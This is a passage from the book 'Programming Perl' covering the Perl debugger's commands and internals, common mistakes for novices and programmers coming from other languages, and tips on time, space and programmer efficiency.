Delete a breakpoint at the specified line. If line is omitted, deletes the breakpoint on the line that is about to be executed.

D

Delete all installed breakpoints.

a [line] command

Set an action to be done before the line is executed. The sequence of steps taken by the debugger is:

  • Check for a breakpoint at this line.

  • Print the line if necessary (tracing).

  • Do any actions associated with that line.

  • Prompt the user if at a breakpoint or in single-step.

  • Evaluate the line.

For example, this will print out $foo every time line 53 is passed:

a 53 print "DB FOUND $foo\n"

A

Delete all installed actions.

O [opt[=val]]

Set or query values of options. val defaults to 1. opt can be abbreviated to the shortest unique string, which is why some options are uppercase and others are lowercase. Options are:

Option Value
recallCommand ShellBang

The characters used to recall command or spawn shell. By default, these are both set to "!" (see below).

pager

Program to use for output of pager-piped commands (those beginning with a | character). By default, $ENV{PAGER} will be used.

PrintRet

Enables printing of return value after r command.

frame

Enables printing messages on entry and exit from subroutines.

The following options affect what happens with V, X, and x commands:

Option Value
arrayDepth hashDepth

Print only to depth n ("" for all).

compactDump veryCompact

Change style of array and hash dump.

globPrint

Whether to print contents of globs.

DumpDBFiles

Dump arrays holding debugged files.

DumpPackages

Dump symbol tables of packages.

quote HighBit undefPrint

Change style of string dump.

tkRunning

Run Tk while prompting (with ReadLine).[3]

signalLevel warnLevel dieLevel

Level of verbosity.

[3] A Perl application is usually frozen when sitting at the debugger prompt. Tk support keeps the event loop of Tk running while reading the prompt.

During startup, options are initialized from $ENV{PERLDB_OPTS}. You can put additional initialization options TTY, noTTY, ReadLine, and NonStop there. Here's an example using the $ENV{PERLDB_OPTS} variable:

$ PERLDB_OPTS="N f=2" perl -d myprogram

This will run the script myprogram without human intervention, printing out the call tree with entry and exit points. Note that "N f=2" is equivalent to "NonStop=1 frame=2".

< command

Set an action to happen before every debugger prompt. A multi-line command may be entered by backslashing the newlines. command should be Perl code.

> command

Set an action to happen after the prompt when you've just given a command to return to executing the script. A multi-line command may be entered by backslashing the newlines. command should be Perl code.

! number

Redo a previous command (defaults to previous command).

! -number

Redo number'th-to-last command.

! pattern

Redo last command that started with pattern. See "O recallCommand", too.

!! cmd

Run cmd in a subprocess (which will read from DB::IN, write to DB::OUT). See "O shellBang", too.

H -number

Display last number commands. Only commands longer than one character are listed. If number is omitted, lists them all.

q or ^D

Quit. ("quit" doesn't quite work for this.)

R

Restart the debugger by execing a new session. It tries to maintain your history across this, but internal settings and command line options may be lost.

|dbcmd

Run debugger command, piping DB::OUT to $ENV{PAGER}.

||dbcmd

Same as |dbcmd but DB::OUT is temporarily selected as well. Often used with commands that would otherwise produce long output, such as

|V main

= [alias value]

Define a command alias, or list current aliases.

command

Execute command as a Perl statement. A semicolon is not needed at the end.

8.1.2 Using the Debugger

If you have any compile-time executable statements (code within a BEGIN block or a use statement), they will not be stopped by the debugger, although requires will.

The debugger prompt is something like:

DB<8>

or even:

DB<<17>>

where that number is the command number. A csh-like history mechanism allows you to access previous commands by number. For example, !17 would repeat command number 17. The number of angle brackets indicates the depth of the debugger. You get more than one set of brackets, for example, if you're already at a breakpoint and then print out the result of a function call that itself also has a breakpoint.

If you want to enter a multi-line command, such as a subroutine definition with several statements, you may escape the newline that would normally end the debugger command with a backslash. Here's an example:

DB<1> for (1..4) {         \
  cont:     print "ok\n";    \
  cont: }
  ok
  ok
  ok
  ok

Note that this business of escaping a newline is specific to interactive commands typed into the debugger.

Let's say you want to fire up the debugger on a little program of yours (let's call it camel_flea), and stop it as soon as it gets down to a function named infested. Here's how you'd do that:

shell_prompt% perl -d camel_flea
Stack dump during die enabled outside of evals.

Loading DB routines from perl5db.pl patch level 0.94
Emacs support available.

Enter h or `h h' for help.

main::(camel_flea:3):   $a = 1;
  DB<1>

The debugger halts your program right before the first run-time executable statement (but see above regarding compile-time statements) and asks you to enter a command. Contrary to popular expectations, whenever the debugger stops to show you a line of code, it displays the line it's about to execute, not the one it just executed.

Now, you'd like to stop as soon as your program gets to the infested function, so you enter a breakpoint there like so:

DB<1> b infested
DB<2> c

The debugger now continues until it hits that function, at which point it does this:

main::infested(camel_flea:12):      my bugs;

It might be nice to look at a window of source code around the breakpoint, so you use the w command:

DB<2> w
9:      }
10:
11:     sub infested {
12==>b      my $bugs;
13:         return 3.5;
14:     }
DB<2>

As you see, your current line is line 12, and it has a breakpoint on it.

Now, you'd like to see who called whom, so you ask for a stack backtrace:

DB<2> T
$ = main::infested called from file `Ambulation.pm' line 10
@ = Ambulation::legs(1, 2, 3, 4) called from file `camel_flea' line 7
$ = main::pests('bactrian', 4) called from file `camel_flea' line 4

The left-hand character up there ($ or @) tells whether the function was called in a scalar or list context (we bet you can tell which is which). There are three lines because you were three functions deep when you ran the stack backtrace. Here's what each line means:

  • Line number one says you were in the function main::infested when you ran the stack dump. It tells you the function was called in a scalar context from line 10 of the file Ambulation.pm. It also shows that it was called without any arguments whatsoever, meaning it was called as &infested.

  • Line number two shows that the function Ambulation::legs was called in a list context from the camel_flea file with four arguments.

  • Line number three shows that main::pests was called in a scalar context, also from camel_flea, but from line 4.

Limited control over the Perl debugger can also be managed from within your Perl script itself. You might do this, for example, to set an automatic breakpoint at a certain subroutine whenever a particular program is run under the debugger. Setting $DB::single to 1 will stop at the next statement as though you'd used the debugger's s command. If you set $DB::single to 2, it's equivalent to having just typed the n command. The $DB::trace variable can be set to 1 to simulate having typed the t command.

8.1.3 Debugger Customization

To modify the debugger, copy perl5db.pl from the Perl library to another file and modify it as necessary. You'll also want to set your PERL5DB environment variable to say something like this:

BEGIN { require "myperl5db.pl" }

You can do some customization by setting up a .perldb file with initialization code. For instance, you could make aliases like these (the last one is one people expect to be there):

$DB::alias{'len'}  = 's/^len(.*)/p length($1)/';
$DB::alias{'stop'} = 's/^stop (at|in)/b/';
$DB::alias{'ps'}   = 's/^ps\b/p scalar /';
$DB::alias{'quit'} = 's/^quit\b.*/exit/';

8.1.4 Readline Support

As shipped, the only command-line history mechanism supplied is a simplistic one that checks for leading exclamation points. This is fine for casual use. However, if you install the Term::ReadKey and Term::ReadLine modules from CPAN, you will have full editing capabilities much like GNU readline(3) provides. Look for these in the modules/by-module/Term directory on CPAN.

8.1.5 Editor Support for Debugging

If you have GNU emacs installed on your system, it can interact with the Perl debugger to provide an integrated software development environment reminiscent of its interactions with C debuggers.

Perl is also delivered with a start file for making emacs act like a syntax-directed editor that understands (some of) Perl's syntax. Look in the emacs/ directory of the Perl source distribution.

(Historically, a similar setup for interacting with vi and the X11 window system had also been available, but at the time of this writing, no debugger support for vi currently exists.)

8.1.6 Debugger Internals

When you call the caller function from package DB, Perl sets the @DB::args array to the arguments that stack frame was called with. It also maintains other magical internal variables, such as @DB::dbline, an array of the source code lines for the currently selected (with the debugger's f command) file. Perl effectively inserts a call to the function DB::DB(linenum) in front of every place that can have a breakpoint. Instead of a subroutine call it calls DB::sub, setting $DB::sub to the name of the called subroutine. It also inserts a BEGIN {require 'perl5db.pl'} before the first line, since no subroutine call is possible until &DB::sub is defined (for subroutines defined outside this file). In fact, the same is true if $DB::deep (how many levels of recursion deep into the debugger you are) is not defined.

At the start, the debugger reads your config file (./.perldb or ~/.perldb under UNIX), which can set important options. This file may define a subroutine &afterinit to be executed after the debugger is initialized.

After the config file is processed, the debugger consults the environment variable PERLDB_OPTS and parses it as arguments to the O opt=val debugger command.

The following options can only be specified at startup. To set them in your config file, call &parse_options("opt=val").

TTY

The TTY to use for debugging I/O.

noTTY

If set, goes in NonStop mode. On an interrupt, if TTY is not set, it uses the value of noTTY or /tmp/perldbtty$$ to find TTY using Term::Rendezvous. The current variant is to have the name of TTY in this file.

ReadLine

If false, a dummy ReadLine is used so that you can debug ReadLine applications.

NonStop

If true, no interaction is performed until an interrupt.

LineInfo

File or pipe to print line number info to. If it's a pipe, then a short, emacs-like message is used. Example config file:

&parse_options("NonStop=1 LineInfo=db.out");
sub afterinit { $trace = 1; }

The script will run without human intervention, putting trace information into the file db.out. (If you interrupt it, you had better reset LineInfo to something "interactive"!)

8.1.7 Debugger Bugs

If your program exits or dies, so too does the debugger.

You cannot get the stack frame information or otherwise debug functions that were not compiled by Perl, such as C or C++ extensions.

If you alter your @_ arguments in a subroutine (such as with shift or pop), the stack backtrace will not show the original values.

8.1.8 Alternative Debuggers: The Perl Profiler

If you wish to supply an alternative debugger for Perl to run, just invoke your script with the -d:module switch. One of the most popular alternative debuggers for Perl is DProf, the Perl profiler. As of this writing, DProf was not included with the standard Perl distribution, but it is expected to be included "real soon now."

Meanwhile, you can fetch the Devel::DProf module from CPAN. Assuming it's properly installed on your system, you can use it to profile the Perl program in mycode.pl by typing:

perl -d:DProf mycode.pl

When the script terminates, the profiler will dump the profile information to a file called tmon.out. A tool like dprofpp (also supplied with the Devel::DProf package) interprets the profile.

8.1.9 Other Debugging Resources

You did try the -w switch, didn't you?

Previous: 7.2 Library Modules | Programming Perl | Next: 8.2 Common Goofs for Novices
7.2 Library Modules | Book Index | 8.2 Common Goofs for Novices


[Chapter 8] 8.2 Common Goofs for Novices

Programming PerlSearch this book

8.2 Common Goofs for Novices

The biggest goof of all is forgetting to use the -w switch, which points out many errors. The second biggest goof is not using use strict when it's appropriate.

Apart from those, there are certain traps that almost everyone falls into, and other traps you'll fall into only if you come from a particular culture. We've separated these out in the following sections.

8.2.1 Universal Blunders

  • Putting a comma after the filehandle in a print statement. Although it looks extremely regular and pretty to say:

    print STDOUT, "goodbye", $adj, "world!\n";    # WRONG

    this is nonetheless incorrect, because of that first comma. What you want instead is:

    print STDOUT "goodbye", $adj, "world!\n";     # ok

    The syntax is this way so that you can say:

    print $filehandle "goodbye", $adj, "world!\n";

    where $filehandle is a scalar holding the name of a filehandle at run-time. This is distinct from:

    print $notafilehandle, "goodbye", $adj, "world!\n";

    where $notafilehandle is simply a string that is added to the list of things to be printed. See Indirect Object in the glossary.

  • Using == instead of eq and != instead of ne. The == and != operators are numeric tests. The other two are string tests. The strings "123" and "123.00" are equal as numbers, but not equal as strings. Also, any non-numeric string is numerically equal to zero. Unless you are dealing with numbers, you almost always want the string comparison operators instead.

  • Forgetting the trailing semicolon. Every statement in Perl is terminated by a semicolon or the end of a block. Newlines aren't statement terminators as they are in awk or Python.

  • Forgetting that a BLOCK requires braces. Naked statements are not BLOCKs. If you are creating a control structure such as a while or an if that requires one or more BLOCKs, you must use braces around each BLOCK.

  • Not saving $1, $2, and so on, across regular expressions. Remember that every new m/atch/ or s/ubsti/tute/ will set (or clear, or mangle) your $1, $2... variables, as well as $`, $', and $&. One way to save them right away is to evaluate the match within a list context, as in:

    ($one,$two) = /(\w+) (\w+)/;

  • Not realizing that a local also changes the variable's value within other subroutines called within the scope of the local. It's easy to forget that local is a run-time statement that does dynamic scoping, because there's no equivalent in languages like C. See local in Chapter 3, Functions. Usually you wanted a my anyway.

  • Losing track of brace pairings. A good text editor will help you find the pairs. Get one.

  • Using loop control statements in do {} while. Although the braces in this control structure look suspiciously like part of a loop BLOCK, they aren't.

  • Saying @foo[1] when you mean $foo[1]. The @foo[1] reference is an array slice, and means an array consisting of the single element $foo[1]. Sometimes, this doesn't make any difference, as in:

    print "the answer is @foo[1]\n";

    but it makes a big difference for things like:

    @foo[1] = <STDIN>;

    which will slurp up all the rest of STDIN, assign the first line to $foo[1], and discard everything else. This is probably not what you intended. Get into the habit of thinking that $ means a single value, while @ means a list of values, and you'll do okay.

  • Forgetting to select the right filehandle before setting $^, $~, or $|. These variables depend on the currently selected filehandle, as determined by select(FILEHANDLE). The initial filehandle so selected is STDOUT. You should really be using the filehandle methods from the FileHandle module instead. See Chapter 7, The Standard Perl Library.

8.2.2 Frequently Ignored Advice

Practicing Perl Programmers should take note of the following:

  • Remember that many operations behave differently in a list context than they do in a scalar one. Chapter 3 has all the details.

  • Avoid barewords if you can, especially all lowercase ones. You can't tell just by looking at it whether a word is a function or a bareword string. By using quotes on strings and parentheses around function call arguments, you won't ever get them confused. In fact, the pragma use strict at the beginning of your program makes barewords a compile-time error - probably a good thing.

  • You can't tell just by looking which built-in functions are unary operators (like chop and chdir), which are list operators (like print and unlink), and which are argumentless (like time). You'll want to learn them from Chapter 2, The Gory Details. Note also that user-defined subroutines are by default list operators, but can be declared as unary operators with a prototype of ($).

  • People have a hard time remembering that some functions default to $_, or @ARGV, or whatever, while others do not. Take the time to learn which are which, or avoid default arguments.

  • <FH> is not the name of a filehandle, but an angle operator that does a line-input operation on the handle. This confusion usually manifests itself when people try to print to the angle operator:

    print <FH> "hi";    # WRONG, omit angles

  • Remember also that data read by the angle operator is assigned to $_ only when the file read is the sole condition in a while loop:

    while (<FH>)      { }
while ($_ = <FH>) { }..
<FH>;  # data discarded!

  • Remember not to use = when you need =~; the two constructs are quite different:

    $x =  /foo/;  # searches $_, puts result in $x
$x =~ /foo/;  # searches $x, discards result

  • Use my for local variables whenever you can get away with it (but see "Formats" in Chapter 2 for where you can't). Using local actually gives a local value to a global variable, which leaves you open to unforeseen side effects of dynamic scoping.

  • Don't localize a module's exported variables. If you localize an exported variable, its exported value will not change. The local name becomes an alias to a new value but the external name is still an alias for the original.

8.2.3 Awk Traps

Accustomed awk users should take special note of the following:

  • The English module, loaded via

    use English;

    allows you to refer to special variables (like $RS) using their awk names; see the end of Chapter 2 for details.

  • Semicolons are required after all simple statements in Perl (except at the end of a block). Newline is not a statement delimiter.

  • Braces are required on if and while blocks.

  • Variables begin with $ or @ in Perl.

  • Arrays index from 0, as do string positions in substr and index.

  • You have to decide whether your array has numeric or string indices.

  • You have to decide whether you want numeric or string comparisons.

  • Hash values do not spring into existence upon reference.

  • Reading an input line does not split it for you. You get to split it yourself to an array. And the split operator has different arguments than you might guess.

  • The current input line is normally in $_, not $0. It generally does not have the newline stripped. ($0 is the name of the program executed.) See Chapter 2.

  • $1, $2, and so on, do not refer to fields - they refer to substrings matched by the last pattern match.

  • The print operator does not add field and record separators unless you set $, and $\. ($OFS and $ORS if you're using English.)

  • You must open your files before you print to them.

  • The range operator is .. rather than comma. The comma operator works (more or less) as in does C.

  • The match binding operator is =~, not ~. (~ is the 1's complement operator, as in C.)

  • The exponentiation operator is **, not ^. ^ is the bitwise XOR operator, as in C. (You know, one could get the feeling that awk is basically incompatible with C.)

  • The concatenation operator is dot (.), not "nothing". (Using "nothing" as an operator would render /pat/ /pat/ unparsable, since the third slash would be interpreted as a division operator - the tokener is in fact slightly context sensitive for operators like /, ?, and <. And, in fact, a dot itself can be the beginning of a number.)

  • The next, exit, and continue keywords work differently.

  • The following variables work differently:

    awk | Perl
    ARGC

    $#ARGV or scalar @ARGV

    ARGV[0] | $0
    FILENAME | $ARGV
    FNR | $. - something
    FS | (whatever you like)
    NF | $#Fld, or some such
    NR $.
    OFMT $#
    OFS $,
    ORS $\
    RLENGTH | length($&)
    RS $/
    RSTART | length($`)
    SUBSEP $;

  • You cannot set $RS to a pattern, only a string.

  • When in doubt, run the awk construct through a2p and see what it gives you.

8.2.4 C Traps

Cerebral C programmers should take note of the following:

  • Curlies are required for if and while blocks.

  • You must use elsif rather than "else if" or "elif". Syntax like:

    if (expression) {
    block;
}
else if (another_expression) {
    another_block;
}

    is illegal. The else part is always a block, and a naked if is not a block. You mustn't expect Perl to be exactly the same as C. What you want instead is:

    if (expression) {
    block;
}
elsif (another_expression) {
    another_block;
}

    Note also that "elif" is "file" spelled backward. Only Algol-ers would want a keyword that was the same as another word spelled backward.

  • The break and continue keywords from C become in Perl last and next, respectively. Unlike in C, these do not work within a do { } while construct.

  • There's no switch statement. (But it's easy to build one on the fly; see "Bare Blocks and Case Structures" in Chapter 2.)

  • Variables begin with $, @, or % in Perl.

  • printf does not implement the * format for interpolating field widths, but it's trivial to use interpolation of double-quoted strings to achieve the same effect.

  • Comments begin with #, not /*.

  • You can't take the address of anything, although a similar operator in Perl is the backslash, which creates a reference.

  • ARGV must be capitalized. $ARGV[0] is C's argv[1], and C's argv[0] ends up in $0.

  • Functions such as link, unlink, and rename return true for success, not 0.

  • Signal handlers deal with signal names, not numbers.

8.2.5 Sed Traps

Seasoned sed programmers should take note of the following:

  • Backreferences in substitutions use $ rather than \.

  • The pattern matching metacharacters (, ), and | do not have backslashes in front. The corresponding literal characters do.

  • The range operator in Perl is ... rather than a comma.

8.2.6 Shell Traps

Sharp shell programmers should take note of the following:

  • Variables are prefixed with $ or @ on the left side of the assignment as well as the right. A shellish assignment like:

    camel='dromedary';      # WRONG

    won't be parsed the way you expect. You need:

    $camel='dromedary';     # ok

  • The loop variable of a foreach also requires a $. Although csh likes:

    foreach hump (one two)
stuff_it $hump
end

    in Perl this is written as:

    foreach $hump ("one", "two") {
    stuff_it($hump);
}

  • The backtick operator does variable interpretation without regard to the presence of single quotes in the command.

  • The backtick operator does no translation of the return value. In Perl, you have to trim the newline explicitly, like this:

    chop($thishost = `hostname`);

  • Shells (especially csh) do several levels of substitution on each command line. Perl does substitution only within certain constructs such as double quotes, backticks, angle brackets, and search patterns.

  • Shells tend to interpret scripts a little bit at a time. Perl compiles the entire program before executing it (except for BEGIN blocks, which execute at compile time).

  • The arguments are available via @ARGV, not $1, $2, and so on.

  • The environment is not automatically made available as separate scalar variables. But see the Env module.

8.2.7 Previous Perl Traps

Penitent Perl 4 (and Prior) Programmers should take note of the following changes between Release 4 and Release 5 that might affect old scripts:

  • @ now always interpolates an array in double-quotish strings. Some programs may now need to use backslash to protect any @ that shouldn't interpolate.

  • Barewords that used to look like strings to Perl will now look like subroutine calls if a subroutine by that name is defined before the compiler sees them. For example:

    sub SeeYa { die "Hasta la vista, baby!" }
$SIG{'QUIT'} = SeeYa;

    In prior versions of Perl, that code would set the signal handler. Now, it actually calls the function! You may use the -w switch to find such risky usage.

  • Symbols starting with "_" are no longer forced into package main, except for $_ itself (and @_, and so on).

  • Double-colon is now a valid package separator in an identifier. Thus, the statement:

    print "$a::$b::$c\n";

    now parses $a:: as the variable reference, where in prior versions only the $a was considered to be the variable reference. Similarly,

    print "$var::abc::xyz\n";

    is now interpreted as a single variable $var::abc::xyz, whereas in prior versions, the variable $var would have been followed by the constant text ::abc::xyz.

  • s'$lhs'$rhs' now does no interpolation on either side. It used to interpolate $lhs but not $rhs.

  • The second and third arguments of splice are now evaluated in scalar context (as documented) rather than list context.

  • These are now semantic errors because of precedence:

    shift @list + 20; # now parses like shift(@list + 20), illegal!
$n = keys %map + 20; # now parses like keys(%map + 20), illegal!

    Because if those were to work, then this couldn't:

    sleep $dormancy + 20;

  • The precedence of assignment operators is now the same as the precedence of assignment. Previous versions of Perl mistakenly gave them the precedence of the associated operator. So you now must parenthesize them in expressions like

    /foo/ ? ($a += 2) : ($a -= 2);

    Otherwise:

    /foo/ ? $a += 2 : $a -= 2;

    would be erroneously parsed as:

    (/foo/ ? $a += 2 : $a) -= 2;

    On the other hand,

    $a += /foo/ ? 1 : 2;

    now works as a C programmer would expect.

  • open FOO || die is now incorrect. You need parentheses around the filehandle, because open has the precedence of a list operator.

  • The elements of argument lists for formats are now evaluated in list context. This means you can interpolate list values now.

  • You can't do a goto into a block that is optimized away. Darn.

  • It is no longer syntactically legal to use whitespace as the name of a variable, or as a delimiter for any kind of quote construct. Double darn.

  • The caller function now returns a false value in a scalar context if there is no caller. This lets library modules determine whether they're being required or run directly.

  • m//g now attaches its state to the searched string rather than the regular expression. See "Regular Expressions" in Chapter 2 for further details.

  • reverse is no longer allowed as the name of a sort subroutine.

  • taintperl is no longer a separate executable. There is now a -T switch to turn on tainting when it isn't turned on automatically.

  • Double-quoted strings may no longer end with an unescaped $ or @.

  • The archaic if BLOCK BLOCK syntax is no longer supported.

  • Negative array subscripts now count from the end of the array.

  • The comma operator in a scalar context is now guaranteed to give a scalar context to its arguments.

  • The ** operator now binds more tightly than unary minus. It was documented to work this way before, but didn't.

  • Setting $#array lower now discards array elements immediately.

  • delete is not guaranteed to return the deleted value for tied arrays, since this capability may be onerous for some modules to implement.

  • The construct "this is $$x", which used to interpolate the pid at that point, now tries to dereference $x. $$ by itself still works fine, however.

  • The meaning of foreach has changed slightly when it is iterating over a list which is not an array. This used to assign the list to a temporary array, but for efficiency it no longer does so. This means that you'll now be iterating over the actual values, not over copies of the values. Modifications to the loop variable can change the original values. To retain prior Perl semantics you'd need to assign your list explicitly to a temporary array and then iterate over that. For example, you might need to change:

    foreach $var (grep /x/, @list) { ... }

    to:

    foreach $var (my @tmp = grep /x/, @list) { ... }

    Otherwise changing $var will clobber the values of @list. (This most often happens when you use $_ for the loop variable, and call subroutines in the loop that don't properly localize $_.)

  • Some error messages will be different.

  • Some bugs may have been inadvertently removed.[4]

    [4] Much to the consternation of Perl poets.

Previous: 8.1 The Perl Debugger | Programming Perl | Next: 8.3 Efficiency
8.1 The Perl Debugger | Book Index | 8.3 Efficiency


[Chapter 8] 8.3 Efficiency

Programming PerlSearch this book

8.3 Efficiency

While most of the work of programming may be simply getting a program working properly, you may find yourself wanting more bang for the buck out of your Perl program. Perl's rich set of operators, datatypes, and control constructs are not necessarily intuitive when it comes to speed and space optimization. Many trade-offs were made during Perl's design, and such decisions are buried in the guts of the code. In general, the shorter and simpler your code is, the faster it runs, but there are exceptions. This section attempts to help you make it work just a wee bit better.

(If you want it to work a lot better, you can play with the new Perl-to-C translation modules, or rewrite your inner loop as a C extension.)

You'll note that sometimes optimizing for time may cost you in space or programmer efficiency (indicated by conflicting hints below). Them's the breaks. If programming were easy, they wouldn't need something as complicated as a human being to do it, now would they?

8.3.1 Time Efficiency

  • Use hashes instead of linear searches. For example, instead of searching through @keywords to see if $_ is a keyword, construct a hash with:

    my %keywords;
for (@keywords) {
    $keywords{$_}++;
}

    Then, you can quickly tell if $_ contains a keyword by testing $keyword{$_} for a non-zero value.

  • Avoid subscripting when a foreach or list operator will do. Subscripting sometimes forces conversion from floating point to integer, and there's often a better way to do it. Consider using foreach, shift, and splice operations. Consider saying use integer.

  • Avoid goto. It scans outward from your current location for the indicated label.

  • Avoid printf if print will work. Quite apart from the extra overhead of printf, some implementations have field length limitations that print gets around.

  • Avoid $&, $`, and $'. Any occurrence in your program causes all matches to save the searched string for possible future reference. (However, once you've blown it, it doesn't hurt to have more of them.)

  • Avoid using eval on a string. An eval of a string (not of a BLOCK) forces recompilation every time through. The Perl parser is pretty fast for a parser, but that's not saying much. Nowadays there's almost always a better way to do what you want anyway. In particular, any code that uses eval merely to construct variable names is obsolete, since you can now do the same directly using symbolic references:

    ${$pkg . '::' . $varname} = &{ "fix_" . $varname }($pkg);

  • Avoid string eval inside a loop. Put the loop into the eval instead, to avoid redundant recompilations of the code. See the study operator in Chapter 3 for an example of this.

  • Avoid run-time-compiled patterns. Use the /pattern/o (once only) pattern modifier to avoid pattern recompilation when the pattern doesn't change over the life of the process. For patterns that change occasionally, you can use the fact that a null pattern refers back to the previous pattern, like this:

    "foundstring" =~ /$currentpattern/;        # Dummy match (must succeed).
while (<>) {
    print if //;
}

    You can also use eval to recompile a subroutine that does the match (if you only recompile occasionally).

  • Short-circuit alternation is often faster than the corresponding regular expression. So:

    print if /one-hump/ || /two/;

    is likely to be faster than:

    print if /one-hump|two/;

    at least for certain values of one-hump and two. This is because the optimizer likes to hoist certain simple matching operations up into higher parts of the syntax tree and do very fast matching with a Boyer-Moore algorithm. A complicated pattern defeats this.

  • Reject common cases early with next if. As with simple regular expressions, the optimizer likes this. And it just makes sense to avoid unnecessary work. You can typically discard comment lines and blank lines even before you do a split or chop:

    while (<>) {
    next if /^#/;
    next if /^$/;
    chop;
    @piggies = split(/,/);
    ...
}

  • Avoid regular expressions with many quantifiers, or with big {m,n} numbers on parenthesized expressions. Such patterns can result in exponentially slow backtracking behavior unless the quantified subpatterns match on their first "pass".

  • Try to maximize the length of any non-optional literal strings in regular expressions. This is counterintuitive, but longer patterns often match faster than shorter patterns. That's because the optimizer looks for constant strings and hands them off to a Boyer-Moore search, which benefits from longer strings. Compile your pattern with the -Dr debugging switch to see what Perl thinks the longest literal string is.

  • Avoid expensive subroutine calls in tight loops. There is overhead associated with calling subroutines, especially when you pass lengthy parameter lists, or return lengthy values. In increasing order of desperation, try passing values by reference, passing values as dynamically scoped globals, inlining the subroutine, or rewriting the whole loop in C.

  • Avoid getc for anything but single-character terminal I/O. In fact, don't use it for that either. Use sysread.

  • Use readdir rather than <*>. To get all the non-dot files within a directory, say something like:

    opendir(DIR,".");
@files = sort grep(!/^\./, readdir(DIR));
closedir(DIR);

  • Avoid frequent substr on long strings.

  • Use pack and unpack instead of multiple substr invocations.

  • Use substr as an lvalue rather than concatenating substrings. For example, to replace the fourth through sixth characters of $foo with the contents of the variable $bar, don't do:

    $foo = substr($foo,0,3) . $bar . substr($foo,6);

    Instead, simply identify the part of the string to be replaced, and assign into it, as in:

    substr($foo,3,3) = $bar;

    But be aware that if $foo is a huge string, and $bar isn't exactly 3 characters long, this can do a lot of copying too.

  • Use s/// rather than concatenating substrings. This is especially true if you can replace one constant with another of the same size. This results in an in-place substitution.

  • Use modifiers and equivalent and and or, instead of full-blown conditionals. Statement modifiers and logical operators avoid the overhead of entering and leaving a block. They can often be more readable too.

  • Use $foo = $a || $b || $c. This is much faster (and shorter to say) than:

    if ($a) {
    $foo = $a;
}
elsif ($b) {
    $foo = $b;
}
elsif ($c) {
    $foo = $c;
}

    Similarly, set default values with:

    $pi ||= 3;

  • Group together any tests that want the same initial string. When testing a string for various prefixes in anything resembling a switch structure, put together all the /^a/ patterns, all the /^b/ patterns, and so on.

  • Don't test things you know won't match. Use last or elsif to avoid falling through to the next case in your switch statement.

  • Use special operators like study, logical string operations, pack 'u' and unpack '%' formats.

  • Beware of the tail wagging the dog. Misstatements resembling (<STDIN>)[0] and 0 .. 2000000 can cause Perl much unnecessary work. In accord with UNIX philosophy, Perl gives you enough rope to hang yourself.

  • Factor operations out of loops. The Perl optimizer does not attempt to remove invariant code from loops. It expects you to exercise some sense.

  • Slinging strings can be faster than slinging arrays.

  • Slinging arrays can be faster than slinging strings. It all depends on whether you're going to reuse the strings or arrays, and on which operations you're going to perform. Heavy modification of each element implies that arrays will be better, and occasional modification of some elements implies that strings will be better. But you just have to try it and see.

  • my variables are normally faster than local variables.

  • Sorting on a manufactured key array may be faster than using a fancy sort subroutine. A given array value may participate in several sort comparisons, so if the sort subroutine has to do much recalculation, it's better to factor out that calculation to a separate pass before the actual sort.

  • tr/abc//d is faster than s/[abc]//g.

  • print with a comma separator may be faster than concatenating strings. For example:

    print $fullname{$name} . " has a new home directory " .
    $home{$name} . "\n";

    has to glue together the two hashes and the two fixed strings before passing them to the low-level print routines, whereas:

    print $fullname{$name}, " has a new home directory ",
    $home{$name}, "\n";

    doesn't. On the other hand, depending on the values and the architecture, the concatenation may be faster. Try it.

  • Prefer join("", ...) to a series of concatenated strings. Multiple concatenations may cause strings to be copied back and forth multiple times. The join operator avoids this.

  • split on a fixed string is generally faster than split on a pattern. That is, use split(/ /,...) rather than split(/ +/,...) if you know there will only be one space. However, the patterns /\s+/, /^/ and / / are specially optimized, as is the split on whitespace.

  • Pre-extending an array or string can save some time. As strings and arrays grow, Perl extends them by allocating a new copy with some room for growth and copying in the old value. Pre-extending a string with the x operator or an array by setting $#array can prevent this occasional overhead, as well as minimize memory fragmentation.

  • Don't undef long strings and arrays if they'll be reused for the same purpose. This helps prevent reallocation when the string or array must be re-extended.

  • Prefer "\0" x 8192 over unpack("x8192",()).

  • system("mkdir...") may be faster on multiple directories if mkdir(2) isn't available.

  • Avoid using eof if return values will already indicate it.

  • Cache entries from passwd and group (and so on) that are apt to be reused. For example, to cache the return value from gethostbyaddr when you are converting numeric addresses (like 198.112.208.11) to names (like "www.ora.com"), you can use something like:

    sub numtoname {
    local($_) = @_;
    unless (defined $numtoname{$_}) {
        local(@a) = gethostbyaddr(pack('C4', split(/\./)),2);
        $numtoname{$_} = @a > 0 ? $a[0] : $_;
    }
    $numtoname{$_};
}

  • Avoid unnecessary system calls. Operating system calls tend to be rather expensive. So for example, don't call the time operator when a cached value of $now would do. Use the special _ filehandle to avoid unnecessary stat(2) calls. On some systems, even a minimal system call may execute a thousand instructions.

  • Avoid unnecessary system calls. The system operator has to fork a subprocess and execute the program you specify. Or worse, execute a shell to execute the program you specify. This can easily execute a million instructions.

  • Worry about starting subprocesses, but only if they're frequent. Starting a single pwd, hostname, or find process isn't going to hurt you much - after all, a shell starts subprocesses all day long. We do occasionally encourage the toolbox approach, believe it or not.

  • Keep track of your working directory yourself rather than calling pwd repeatedly. (A package is provided in the standard library for this. See the Cwd module in Chapter 7.)

  • Avoid shell metacharacters in commands - pass lists to system and exec where appropriate.

  • Set the sticky bit on the Perl interpreter on machines without demand paging.

    chmod +t /usr/bin/perl

  • Using defaults doesn't make your program faster.

8.3.2 Space Efficiency

  • Use vec for compact integer array storage.

  • Prefer numeric values over string values - they require little additional space over that allocated for the scalar header structure.

  • Use substr to store constant-length strings in a longer string.

  • Use the Tie::SubstrHash module for very compact storage of a hash array, if the key and value lengths are fixed.

  • Use __END__ and the DATA filehandle to avoid storing program data as both a string and an array.

  • Prefer each to keys where order doesn't matter.

  • Delete or undef globals that are no longer in use.

  • Use some kind of DBM to store hashes.

  • Use temp files to store arrays.

  • Use pipes to offload processing to other tools.

  • Avoid list operations and file slurps.

  • Avoid using tr///, each of which must store a translation table of 256 short integers (not characters, since we have to remember which characters are to be deleted).

  • Don't unroll your loops or inline your subroutines.

8.3.3 Programmer Efficiency

  • Use defaults.

  • Use funky shortcut command-line switches like -a, -n, -p, -s, -i.

  • Use for to mean foreach.

  • Sling UNIX commands around with backticks.

  • Use <*> and such.

  • Use run-time-compiled patterns.

  • Use patterns with lots of *, +, and {}.

  • Sling whole arrays and slurp entire files.

  • Use getc.

  • Use $&, $`, and $'.

  • Don't check error values on open, since <HANDLE> and print HANDLE will simply no-op when given an invalid handle.

  • Don't close your files - they'll be closed on the next open.

  • Pass subroutine arguments as globals.

